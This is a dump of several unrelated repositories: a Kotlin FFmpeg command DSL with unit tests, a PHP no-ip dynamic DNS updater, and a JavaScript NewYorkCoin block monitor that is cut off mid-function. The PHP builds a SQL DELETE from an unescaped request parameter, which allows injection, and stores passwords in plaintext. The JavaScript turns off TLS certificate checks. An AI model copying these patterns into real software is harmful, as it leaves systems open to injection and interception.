*/
object PathAssertion: Assertion<String> {
override fun assert(value: String) {
if (value.isBlank()) throw PathIsBlankException()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
class PathIsBlankException : Exception("The 'path' cannot be blank") {}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.TimeAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidTimeException
import ai.moises.ffmpegdslandroid.ffmpegcommand.extension.compress
import ai.moises.ffmpegdslandroid.ffmpegcommand.extension.formatToTime
import java.util.concurrent.TimeUnit
import kotlin.math.abs
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
class TimePosition private constructor(): TimeDuration {
private var timeDurationString: String = ""
constructor(hour: Int, minute: Int, second: Double) : this() {
timeDurationString = parseTime(hour, minute, second)
}
constructor(minute: Int, second: Double): this() {
timeDurationString = parseTime(0, minute, second)
}
constructor(second: Double): this() {
timeDurationString = parseTime(0, 0, second)
}
private fun parseTime(hour: Int, minute: Int, second: Double): String {
val timeStringBuilder = StringBuilder()
appendHour(timeStringBuilder, hour)
assertMinute(hour, minute)
appendMinute(timeStringBuilder, minute)
assertSecond(hour, minute, second)
appendSecond(timeStringBuilder, second)
return timeStringBuilder.toString()
}
private fun assertMinute(hour: Int, minute: Int) {
if (hour != 0 && minute < 0) {
throw InvalidTimeException(TimeUnit.MINUTES, minute)
}
TimeAssertion.MinutesAssertion.assert(minute)
}
private fun assertSecond(hour: Int, minute: Int, second: Double) {
if ((hour != 0 || minute != 0) && second < 0) {
throw InvalidTimeException(TimeUnit.SECONDS, second)
}
TimeAssertion.SecondsAssertion.assert(second)
}
private fun appendHour(stringBuilder: StringBuilder, hour: Int) {
if (hour != 0) {
stringBuilder.append(hour.formatToTime()).append(":")
}
}
private fun appendMinute(stringBuilder: StringBuilder, minute: Int) {
stringBuilder.append(minute.formatToTime()).append(":")
}
private fun appendSecond(stringBuilder: StringBuilder, second: Double) {
val absSecond = abs(second)
if (second < 0) {
stringBuilder.insert(0, "-")
}
stringBuilder.append(absSecond.compress().formatToTime())
}
override fun format(): String = timeDurationString
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.Filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.FilterGroup
class FilterComplexArgument: Argument() {
override val key: String = "-filter_complex"
override val value: String
get() = getContentAsString()
private var filtersGroups: MutableList<FilterGroup> = mutableListOf()
private val filters: MutableList<Filter> = mutableListOf()
private fun getFilterGroupsAsString(): String {
return filtersGroups.joinToString("") { filterGroup ->
filterGroup.parseToString()
}
}
private fun getFiltersAsString(): String {
return filters.joinToString(",") { it.toString() }
}
private fun getContentAsString(): String {
return getFilterGroupsAsString() + getFiltersAsString()
}
fun addFilterGroup(filterGroup: FilterGroup) {
filtersGroups.add(filterGroup)
}
fun addFilter(filter: Filter) {
filters.add(filter)
}
fun getFilterGroups(): List<FilterGroup> = filtersGroups
}<file_sep>rootProject.name = "FFmpegDSLAndroidExample"
include ':app'
include ':ffmpeg-dsl'
<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.CodecNotSupportedException
/**
* Created by <NAME> on 21/06/21.
* github: @vnicius
* <EMAIL>
*/
object CodecAssertion: Assertion<String> {
override fun assert(value: String) {
if (value.isBlank()) throw CodecNotSupportedException(value)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
class AudioResampleFilter(sampleRate: Number) : Filter() {
override val key: String = "aresample"
override val value: String = sampleRate.toString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDuration
class SeekStartArgument(override val timeDuration: TimeDuration) : TimeDurationArgument("-ss") {}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.Duration
class DurationOption(duration: Duration): MixOption() {
override val key: String = "duration"
override val value: String = duration.value
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.ValueIsBlankException
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
object ValueAssertion: Assertion<String> {
override fun assert(value: String) {
if (value.isBlank()) throw ValueIsBlankException()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.StreamSpecifierIsBlankException
import org.junit.Test
/**
* Created by <NAME> on 29/06/21.
* github: @vnicius
* <EMAIL>
*/
class MapArgumentTest {
@Test(expected = StreamSpecifierIsBlankException::class)
fun should_Fail_when_StreamSpecifierIsBlank() {
MapArgument("")
}
@Test
fun should_ParseArgumentCorrectly_when_StreamSpecifierIsNotBlank() {
val mapArgument = MapArgument("a")
val parsedArgument = mapArgument.parseToString()
assertThat(parsedArgument).matches("-map \"a\"")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.VolumeAssertion
class VolumeFilter(volume: Number): Filter() {
override val key: String = "volume"
override val value: String = volume.toString()
init {
VolumeAssertion.assert(volume)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.command
open class CommandBuilder {
private val arguments: MutableList<CommandArgumentParser> = mutableListOf()
fun addArgument(argument: CommandArgumentParser): CommandBuilder {
arguments.add(argument)
return this
}
fun build(): String =
arguments.joinToString(" ") {
it.parseToString()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.flag
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 01/07/21.
* github: @vnicius
* <EMAIL>
*/
class OverrideAllowedFlagTest {
@Test
fun should_ParsePositiveFlag_when_OverrideValueIsTrue() {
val overrideAllowedFlag = OverrideAllowedFlag(true)
val parsedFlag = overrideAllowedFlag.parseToString()
assertThat(parsedFlag).isEqualTo("-y")
}
@Test
fun should_ParseNegativeFlag_when_OverrideValueIsFalse() {
val overrideAllowedFlag = OverrideAllowedFlag(false)
val parsedFlag = overrideAllowedFlag.parseToString()
assertThat(parsedFlag).isEqualTo("-n")
}
} | c0ab482562628c2081e0763f9f86800b165d5ddb | [
"Markdown",
"Kotlin",
"Gradle"
] | 91 | Kotlin | moises-ai/ffmpeg-dsl-android | 1cf73dd6d0985b534bd93613149fdd335d651e8e | 1a22953709fea8fcfc4ab77ea6338bb1c62ca5b8 | |
refs/heads/main | <file_sep>import "./App.css";
import React from "react";
import TicTacToe from "./gamesArmen/game-TicTacToe/gameTic-Tac-Toe";
import RockPaperScissors from "./gamesArmen/game-rockPaperScissors/gameRock-Paper-Scissors.js";
import MemoryPokemon from "./gamesArmen/gameMemoryPokemon/gameMemory-Pokemon";
function App() {
return (
<div>
<TicTacToe/>
<hr/>
<RockPaperScissors/>
<hr/>
<MemoryPokemon/>
</div>
);
}
;
export default App;
| e0945b324dc6b318031a30c7f2e6fc7bac771c32 | [
"JavaScript"
] | 1 | JavaScript | Armen-Avetisyan/game-tic-tac-toe | a875c1ffc13d834224f25702c890618a6b138917 | 393ccb6cc305cff1937c3cbeec34524be18d4bfe | |
refs/heads/master | <repo_name>ksaye/no-ip<file_sep>/index-sql.php
<html>
<head>
<style type="text/css" media="screen">
table{
border-collapse:collapse;
border:1px solid #FF0000;
}
table td{
border:1px solid #FF0000;
}
</style>
</head>
<body>
<?php
$DefaultConnection = explode(";", $_SERVER["SQLAZURECONNSTR_DefaultConnection"]);
$serverName = explode("=", $DefaultConnection[0])[1];
$connectionInfo = array("Database"=>explode("=", $DefaultConnection[1])[1],"UID"=>explode("=", $DefaultConnection[2])[1], "PWD"=>explode("=", $DefaultConnection[3])[1]);
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( !$conn ) {
echo "Connection could not be established.<br />";
die( print_r( sqlsrv_errors(), true));
}
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_GET['userid'])) $userid = $_GET['userid'];
if (isset($_GET['password'])) $password = $_GET['password'];
if (isset($_GET['hostname'])) $hostname = $_GET['hostname'];
if (isset($_GET['userid'])) {
// First, we change it to something else, so we trigger the update in no-IP
$xml = file_get_contents("http://$userid:[email protected]/nic/update?hostname=$hostname&myip=1.1.1.1");
// Then we set it to what it should be
$xml = file_get_contents("http://$userid:[email protected]/nic/update?hostname=$hostname&myip=$ip");
echo $xml;
$sql = "delete from [no-ip] where [hostname] = '" . $hostname . "'";
$params = array();
$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}
$sql = "INSERT INTO [no-ip] ([userid],[hostname],[ipaddress],[result])VALUES(?,?,?,?)";
$params = array($userid, $hostname, $ip,$xml);
$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}
} else {
$sql = "SELECT [userid],[hostname],[ipaddress],[result],convert(varchar(25), [dateandtime], 120) as [dateandtime] FROM [no-ip]";
$params = array();
$options = array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );
echo "<table><tr><td><b>User ID</b></td><td><b>Host Name</b></td><td><b>IP Address</b></td><td><b>Date / Time</b></td><td><b>Result</b></td></tr>";
while($row = sqlsrv_fetch_array($stmt)) {
echo "<tr><td>" . $row['userid'] . "</td><td>" . $row['hostname']. "</td><td>" . $row['ipaddress'] . "</td><td>" . $row['dateandtime'] . "</td><td>" .$row['result'] . "</td></tr>";
}
echo "</table>";
$sql = "select convert(varchar(25), getdate(), 120) as [dateandtime]";
$params = array();
$options = array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );
$row = sqlsrv_fetch_array($stmt);
$currenttime = $row['dateandtime'];
echo "Current Date / Time: " . $currenttime . ", you are: " . $_SERVER['REMOTE_ADDR'];
}
?>
</body>
</html>
<file_sep>/.user.ini
display_errors=On
html_errors=On
error_reporting = E_ALL
extension=php_http.dll
<file_sep>/index.php
<?php
require_once 'vendor\autoload.php';
use WindowsAzure\Common\ServicesBuilder;
use WindowsAzure\Common\ServiceException;
use WindowsAzure\Table\Models\Entity;
use WindowsAzure\Table\Models\EdmType;
$timezone = 'America/Chicago';
date_default_timezone_set($timezone);
$tableRestProxy = ServicesBuilder::getInstance()->createTableService($_SERVER["CUSTOMCONNSTR_StorageAccount"]);
$tableName = "noip";
$partition = "dyndns";
$time = date("Y-m-d h:i:s A");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_GET['userid'])) $userid = $_GET['userid'];
if (isset($_GET['password'])) $password = $_GET['password'];
if (isset($_GET['hostname'])) $hostname = $_GET['hostname'];
if (isset($_GET['VPN'])) $VPN = $_GET['VPN'];
if (isset($userid)) {
// First, we change it to something else, so we trigger the update in no-IP
$xml = file_get_contents("http://$userid:[email protected]/nic/update?hostname=$hostname&myip=1.1.1.1");
// Then we set it to what it should be
$xml = file_get_contents("http://$userid:[email protected]/nic/update?hostname=$hostname&myip=$ip");
// Create table, if needed
try {
$tableRestProxy->createTable($tableName);
}
catch(ServiceException $e){
$code = $e->getCode();
}
// determine if we have seen this host before
$resultcount = 0;
try {
$result = $tableRestProxy->getEntity($tableName, $partition, $hostname);
$resultcount = 1;
}
catch(ServiceException $e){
}
if ($resultcount == 0) {
// This is our first time to see this device
$count = 1;
$entity = new Entity();
$entity->setPartitionKey($partition);
$entity->setRowKey($hostname);
$entity->addProperty("userID", null, $userid);
$entity->addProperty("password", null, $password);
$entity->addProperty("count", null, "$count");
$entity->addProperty("IPAddress", null, $ip);
$entity->addProperty("VPN", null, "0");
$entity->addProperty("Date", null, $time);
$entity->addProperty("Result", null, $xml);
try{
$tableRestProxy->insertEntity($tableName, $entity);
}
catch(ServiceException $e){
$code = $e->getCode();
$error_message = $e->getMessage();
}
} else {
// we have seen this device before
$count = 0;
try {
$count = intval($tableRestProxy->getEntity($tableName, $partition, $hostname)->getEntity()->getProperty("count")->getValue());
} catch (ServiceException $e) {
$code = $e->getCode();
}
$count = $count + 1;
$result = $tableRestProxy->getEntity($tableName, $partition, $hostname);
$entity = $result->getEntity();
$entity->setPropertyValue("userID", $userid);
$entity->setPropertyValue("password", $<PASSWORD>);
$entity->setPropertyValue("count", "$count");
$entity->setPropertyValue("IPAddress", $ip);
$entity->setPropertyValue("VPN", "0");
$entity->setPropertyValue("Date", $time);
$entity->setPropertyValue("Result", $xml);
$tableRestProxy->updateEntity($tableName, $entity);
}
echo $xml;
} elseif (isset($VPN)) {
// We are updating the VPN connection count only
// because we call this function right after our update IP function, we need to sleep 3 seconds
sleep(5);
$result = $tableRestProxy->getEntity($tableName, $partition, $hostname);
$entity = $result->getEntity();
$entity->setPropertyValue("VPN", "$VPN");
$tableRestProxy->updateEntity($tableName, $entity);
}
else {
// retrieve the entry
$filter = "PartitionKey eq '$partition'";
try {
$result = $tableRestProxy->queryEntities($tableName, $filter);
}
catch(ServiceException $e){
$code = $e->getCode();
$error_message = $e->getMessage();
echo $code.": ".$error_message."<br />";
}
$entities = $result->getEntities();
//echo geoip_isp_by_name($ip);
echo "Using Azure Tables and github. Using storage account: ". explode(";", $_SERVER["CUSTOMCONNSTR_StorageAccount"])[1]."</p>";
echo "<table cellpadding=5><tr align=center><td><b>User ID</b></td><td><b>Host Name</b></td><td><b>Updates</b></td><td><b>IP Address</b></td><td><b>VPNs</b></td><td><b>Date / Time</b></td><td><b> DDNS Result</b></td></tr>";
foreach($entities as $entity){
echo "<tr>";
echo "<td>".$entity->getProperty("userID")->getValue()."</td>";
echo "<td>".$entity->getRowKey()."</td>";
echo "<td align=right>".$entity->getProperty("count")->getValue()."</td>";
echo "<td align=right>".$entity->getProperty("IPAddress")->getValue()."</td>";
echo "<td align=right>".$entity->getProperty("VPN")->getValue()."</td>";
echo "<td align=right>".$entity->getProperty("Date")->getValue()."</td>";
echo "<td>".$entity->getProperty("Result")->getValue()."</td>";
echo "</tr>";
}
echo "</table>";
echo "</p>You are $ip and the time is $time $timezone.";
//echo geoip_country_code_by_name("www.msn.com");
//echo geoip_database_info(GEOIP_COUNTRY_EDITION);
//echo phpinfo();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<style type="text/css" media="screen">
table{
border-collapse:collapse;
border:1px solid #FF0000;
}
table td{
border:1px solid #FF0000;
}
</style>
</head>
<body>
</body>
</html>
| 0b4a47c0bb18f2414688ff7f653a3e496eeb4f9f | [
"PHP",
"INI"
] | 3 | PHP | ksaye/no-ip | 93080390895574635fa453d7472402875a90e75a | 94411efb0e1fb48d77da899063617c817f096f90 | |
refs/heads/master | <repo_name>fancyfei/jedis<file_sep>/src/test/java/redis/clients/jedis/tests/commands/StreamsCommandsTest.java
package redis.clients.jedis.tests.commands;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import java.util.AbstractMap;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.junit.Test;
import redis.clients.jedis.*;
import redis.clients.jedis.Protocol.Keyword;
import redis.clients.jedis.exceptions.JedisDataException;
public class StreamsCommandsTest extends JedisCommandTestBase {
@Test
public void xadd() {
try {
Map<String,String> map1 = new HashMap<String, String>();
jedis.xadd("stream1", null, map1);
fail();
} catch (JedisDataException expected) {
assertEquals("ERR wrong number of arguments for 'xadd' command", expected.getMessage());
}
Map<String,String> map1 = new HashMap<String, String>();
map1.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xadd-stream1", null, map1);
assertNotNull(id1);
Map<String,String> map2 = new HashMap<String, String>();
map2.put("f1", "v1");
map2.put("f2", "v2");
StreamEntryID id2 = jedis.xadd("xadd-stream1", null, map2);
assertTrue(id2.compareTo(id1) > 0);
Map<String,String> map3 = new HashMap<String, String>();
map3.put("f2", "v2");
map3.put("f3", "v3");
StreamEntryID id3 = jedis.xadd("xadd-stream2", null, map3);
Map<String,String> map4 = new HashMap<String, String>();
map4.put("f2", "v2");
map4.put("f3", "v3");
StreamEntryID idIn = new StreamEntryID(id3.getTime()+1, 1L);
StreamEntryID id4 = jedis.xadd("xadd-stream2", idIn, map4);
assertEquals(idIn, id4);
assertTrue(id4.compareTo(id3) > 0);
Map<String,String> map5 = new HashMap<String, String>();
map3.put("f4", "v4");
map3.put("f5", "v5");
StreamEntryID id5 = jedis.xadd("xadd-stream2", null, map3);
assertTrue(id5.compareTo(id4) > 0);
Map<String,String> map6 = new HashMap<String, String>();
map3.put("f4", "v4");
map3.put("f5", "v5");
StreamEntryID id6 = jedis.xadd("xadd-stream2", null, map3, 3, false);
assertTrue(id6.compareTo(id5) > 0);
assertEquals(3L, jedis.xlen("xadd-stream2").longValue());
}
@Test
public void xdel() {
Map<String,String> map1 = new HashMap<String, String>();
map1.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xdel-stream", null, map1);
assertNotNull(id1);
StreamEntryID id2 = jedis.xadd("xdel-stream", null, map1);
assertNotNull(id2);
assertEquals(2L, jedis.xlen("xdel-stream").longValue());
assertEquals(1L, jedis.xdel("xdel-stream", id1));
assertEquals(1L, jedis.xlen("xdel-stream").longValue());
}
@Test
public void xlen() {
assertEquals(0L, jedis.xlen("xlen-stream").longValue());
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
jedis.xadd("xlen-stream", null, map);
assertEquals(1L, jedis.xlen("xlen-stream").longValue());
jedis.xadd("xlen-stream", null, map);
assertEquals(2L, jedis.xlen("xlen-stream").longValue());
}
@Test
public void xrange() {
List<StreamEntry> range = jedis.xrange("xrange-stream", (StreamEntryID)null, (StreamEntryID)null, Integer.MAX_VALUE);
assertEquals(0, range.size());
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xrange-stream", null, map);
StreamEntryID id2 = jedis.xadd("xrange-stream", null, map);
List<StreamEntry> range2 = jedis.xrange("xrange-stream", (StreamEntryID)null, (StreamEntryID)null, 3);
assertEquals(2, range2.size());
List<StreamEntry> range3 = jedis.xrange("xrange-stream", id1, null, 2);
assertEquals(2, range3.size());
List<StreamEntry> range4 = jedis.xrange("xrange-stream", id1, id2, 2);
assertEquals(2, range4.size());
List<StreamEntry> range5 = jedis.xrange("xrange-stream", id1, id2, 1);
assertEquals(1, range5.size());
List<StreamEntry> range6 = jedis.xrange("xrange-stream", id2, null, 4);
assertEquals(1, range6.size());
StreamEntryID id3 = jedis.xadd("xrange-stream", null, map);
List<StreamEntry> range7 = jedis.xrange("xrange-stream", id2, id2, 4);
assertEquals(1, range7.size());
}
@Test
public void xread() {
Entry<String, StreamEntryID> streamQeury1 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xread-stream1", new StreamEntryID());
// Empty Stream
List<Entry<String, List<StreamEntry>>> range = jedis.xread(1, 1L, streamQeury1);
assertEquals(0, range.size());
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xread-stream1", null, map);
StreamEntryID id2 = jedis.xadd("xread-stream2", null, map);
// Read only a single Stream
List<Entry<String, List<StreamEntry>>> streams1 = jedis.xread(1, 1L, streamQeury1);
assertEquals(1, streams1.size());
// Read from two Streams
Entry<String, StreamEntryID> streamQuery2 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xread-stream1", new StreamEntryID());
Entry<String, StreamEntryID> streamQuery3 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xread-stream2", new StreamEntryID());
List<Entry<String, List<StreamEntry>>> streams2 = jedis.xread(2, 1L, streamQuery2, streamQuery3);
assertEquals(2, streams2.size());
}
@Test
public void xtrim() {
Map<String,String> map1 = new HashMap<String, String>();
map1.put("f1", "v1");
jedis.xadd("xtrim-stream", null, map1);
jedis.xadd("xtrim-stream", null, map1);
jedis.xadd("xtrim-stream", null, map1);
jedis.xadd("xtrim-stream", null, map1);
jedis.xadd("xtrim-stream", null, map1);
assertEquals(5L, jedis.xlen("xtrim-stream").longValue());
jedis.xtrim("xtrim-stream", 3, false);
assertEquals(3L, jedis.xlen("xtrim-stream").longValue());
}
@Test
public void xrevrange() {
List<StreamEntry> range = jedis.xrevrange("xrevrange-stream", (StreamEntryID)null, (StreamEntryID)null, Integer.MAX_VALUE);
assertEquals(0, range.size());
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xrevrange-stream", null, map);
StreamEntryID id2 = jedis.xadd("xrevrange-stream", null, map);
List<StreamEntry> range2 = jedis.xrange("xrevrange-stream", (StreamEntryID)null, (StreamEntryID)null, 3);
assertEquals(2, range2.size());
List<StreamEntry> range3 = jedis.xrevrange("xrevrange-stream", null, id1, 2);
assertEquals(2, range3.size());
List<StreamEntry> range4 = jedis.xrevrange("xrevrange-stream", id2, id1, 2);
assertEquals(2, range4.size());
List<StreamEntry> range5 = jedis.xrevrange("xrevrange-stream", id2, id1, 1);
assertEquals(1, range5.size());
List<StreamEntry> range6 = jedis.xrevrange("xrevrange-stream", null, id2, 4);
assertEquals(1, range6.size());
StreamEntryID id3 = jedis.xadd("xrevrange-stream", null, map);
List<StreamEntry> range7 = jedis.xrevrange("xrevrange-stream", id2, id2, 4);
assertEquals(1, range7.size());
}
@Test
public void xgroup() {
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xgroup-stream", null, map);
String status = jedis.xgroupCreate("xgroup-stream", "consumer-group-name", null, false);
assertTrue(Keyword.OK.name().equalsIgnoreCase(status));
status = jedis.xgroupSetID("xgroup-stream", "consumer-group-name", id1);
assertTrue(Keyword.OK.name().equalsIgnoreCase(status));
status = jedis.xgroupCreate("xgroup-stream", "consumer-group-name1", StreamEntryID.LAST_ENTRY, false);
assertTrue(Keyword.OK.name().equalsIgnoreCase(status));
jedis.xgroupDestroy("xgroup-stream", "consumer-group-name");
//TODO test xgroupDelConsumer
}
@Test
public void xreadGroup() {
// Simple xreadGroup with NOACK
Map<String,String> map = new HashMap<>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xreadGroup-stream1", null, map);
String status1 = jedis.xgroupCreate("xreadGroup-stream1", "xreadGroup-group", null, false);
Entry<String, StreamEntryID> streamQeury1 = new AbstractMap.SimpleImmutableEntry<>("xreadGroup-stream1", StreamEntryID.UNRECEIVED_ENTRY);
List<Entry<String, List<StreamEntry>>> range = jedis.xreadGroup("xreadGroup-group", "xreadGroup-consumer", 1, 0, true, streamQeury1);
assertEquals(1, range.size());
assertEquals(1, range.get(0).getValue().size());
StreamEntryID id2 = jedis.xadd("xreadGroup-stream1", null, map);
StreamEntryID id3 = jedis.xadd("xreadGroup-stream2", null, map);
String status2 = jedis.xgroupCreate("xreadGroup-stream2", "xreadGroup-group", null, false);
// Read only a single Stream
Entry<String, StreamEntryID> streamQeury11 = new AbstractMap.SimpleImmutableEntry<>("xreadGroup-stream1", StreamEntryID.UNRECEIVED_ENTRY);
List<Entry<String, List<StreamEntry>>> streams1 = jedis.xreadGroup("xreadGroup-group", "xreadGroup-consumer", 1, 1L, true, streamQeury11);
assertEquals(1, streams1.size());
assertEquals(1, streams1.get(0).getValue().size());
// Read from two Streams
Entry<String, StreamEntryID> streamQuery2 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xreadGroup-stream1", new StreamEntryID());
Entry<String, StreamEntryID> streamQuery3 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xreadGroup-stream2", new StreamEntryID());
List<Entry<String, List<StreamEntry>>> streams2 = jedis.xreadGroup("xreadGroup-group", "xreadGroup-consumer", 1, 1L, true, streamQuery2, streamQuery3);
assertEquals(2, streams2.size());
// Read only fresh messages
StreamEntryID id4 = jedis.xadd("xreadGroup-stream1", null, map);
Entry<String, StreamEntryID> streamQeuryFresh = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xreadGroup-stream1", StreamEntryID.UNRECEIVED_ENTRY);
List<Entry<String, List<StreamEntry>>> streams3 = jedis.xreadGroup("xreadGroup-group", "xreadGroup-consumer", 4, 100L, true, streamQeuryFresh);
assertEquals(1, streams3.size());
assertEquals(id4, streams3.get(0).getValue().get(0).getID());
}
@Test
public void xack() {
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xack-stream", null, map);
String status = jedis.xgroupCreate("xack-stream", "xack-group", null, false);
Entry<String, StreamEntryID> streamQeury1 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xack-stream", StreamEntryID.UNRECEIVED_ENTRY);
// Empty Stream
List<Entry<String, List<StreamEntry>>> range = jedis.xreadGroup("xack-group", "xack-consumer", 1, 1L, false, streamQeury1);
assertEquals(1, range.size());
assertEquals(1L, jedis.xack("xack-stream", "xack-group", range.get(0).getValue().get(0).getID()));
}
@Test
public void xpendeing() {
Map<String,String> map = new HashMap<String, String>();
map.put("f1", "v1");
StreamEntryID id1 = jedis.xadd("xpendeing-stream", null, map);
String status = jedis.xgroupCreate("xpendeing-stream", "xpendeing-group", null, false);
Entry<String, StreamEntryID> streamQeury1 = new AbstractMap.SimpleImmutableEntry<String, StreamEntryID>("xpendeing-stream", StreamEntryID.UNRECEIVED_ENTRY);
// Empty Stream
List<Entry<String, List<StreamEntry>>> range = jedis.xreadGroup("xpendeing-group", "xpendeing-consumer", 1, 1L, false, streamQeury1);
assertEquals(1, range.size());
assertEquals(1, range.get(0).getValue().size());
List<StreamPendingEntry> pendingRange = jedis.xpending("xpendeing-stream", "xpendeing-group", null, null, 3, "xpendeing-consumer");
assertEquals(1, pendingRange.size());
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
jedis.xclaim("xpendeing-stream", "xpendeing-group", "xpendeing-consumer2", 500, 0, 0, false, pendingRange.get(0).getID());
}
@Test
public void pipeline() {
Map<String,String> map = new HashMap<>();
map.put("a", "b");
Pipeline p = jedis.pipelined();
Response<StreamEntryID> id1 = p.xadd("stream1", StreamEntryID.NEW_ENTRY, map);
Response<StreamEntryID> id2 = p.xadd("stream1", StreamEntryID.NEW_ENTRY, map);
Response<List<StreamEntry>> results = p.xrange("stream1", null, null, 2);
p.sync();
List<StreamEntry> entries = results.get();
assertEquals(2, entries.size());
assertEquals(id1.get(), entries.get(0).getID());
assertEquals(map, entries.get(0).getFields());
assertEquals(id2.get(), entries.get(1).getID());
assertEquals(map, entries.get(1).getFields());
}
@Test
public void transaction() {
Map<String,String> map = new HashMap<>();
map.put("a", "b");
Transaction t = jedis.multi();
Response<StreamEntryID> id1 = t.xadd("stream1", StreamEntryID.NEW_ENTRY, map);
Response<StreamEntryID> id2 = t.xadd("stream1", StreamEntryID.NEW_ENTRY, map);
Response<List<StreamEntry>> results = t.xrange("stream1", null, null, 2);
t.exec();
List<StreamEntry> entries = results.get();
assertEquals(2, entries.size());
assertEquals(id1.get(), entries.get(0).getID());
assertEquals(map, entries.get(0).getFields());
assertEquals(id2.get(), entries.get(1).getID());
assertEquals(map, entries.get(1).getFields());
}
}
| efea6c5404cc8fe835e0746e4289c4d3b519fdf6 | [
"Java"
] | 1 | Java | fancyfei/jedis | 301a7bd9145bf9de73a7c234727ff842d93468b8 | a6b527c0e30531fc9d37574dd0bd6c38a6d5dec1 | |
refs/heads/main | <repo_name>NewYorkCoinNYC/blockchain-account-monitor<file_sep>/test/poll_and_log_payments.js
const BlockchainAccountMonitor = require(__dirname+'/../lib/blockchain_account_monitor.js');
const BlockchainClient = require(__dirname+'/../lib/blockchain_client.js');
const config = require(__dirname+'/../lib/config.js');
const monitor = new BlockchainAccountMonitor({
blockchainClient: new BlockchainClient({
host: config.get('RPC_HOST'),
port: config.get('RPC_PORT'),
user: config.get('RPC_USER'),
pass: config.get('RPC_PASSWORD'),
confirmations: config.get('RPC_CONFIRMATIONS'),
type: config.get('RPC_TYPE')
}),
onBlock: function(block, next) {
console.log('FOUND '+block.length+ ' transactions');
console.log('block', block);
next();
},
timeout: 1000
});
monitor.lastBlockHash = config.get('LAST_BLOCK_HASH');
monitor.start();
<file_sep>/lib/client.js
const _ = require('underscore');
const coinDaemon = require('node-newyorkcoin');
process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"
function BlockchainClient(options) {
this.confirmations = options.confirmations || 2;
this.coinDaemon = coinDaemon({
host: options.host,
port: options.port,
user: options.user,
pass: options.pass,
https: (options.https === false) ? false : true
});
}
BlockchainClient.prototype = {
listNextBlock: function(previousBlockHash, callback) {
var _this = this;
_this.coinDaemon.exec('listsinceblock', previousBlockHash, _this.confirmations,
function(error, response) {
if (error) {
return callback(error, null);
}
var transactions = response.transactions;
if (!transactions || transactions.length === 0) {
callback();
} else {
var confirmed = _this._filterByMinimumConfirmations(transactions, _this.confirmations);
if (confirmed.length > 0) {
var sorted = _this._sortTransactionsByTime(confirmed);
var nextBlockHash = sorted[0].blockhash;
callback(null, _this._transactionsInBlock(sorted, nextBlockHash));
} else {
callback();
}
}
});
},
_sortTransactionsByTime: function(transactions) {
return _.sortBy(transactions, function(transaction){
return transaction.blocktime;
});
},
_transactionsInBlock: function(transactions, blockHash) {
return _.filter(transactions, function(transaction){
return transaction.blockhash === blockHash;
});
},
_filterByMinimumConfirmations: function(transactions, confirmations) {
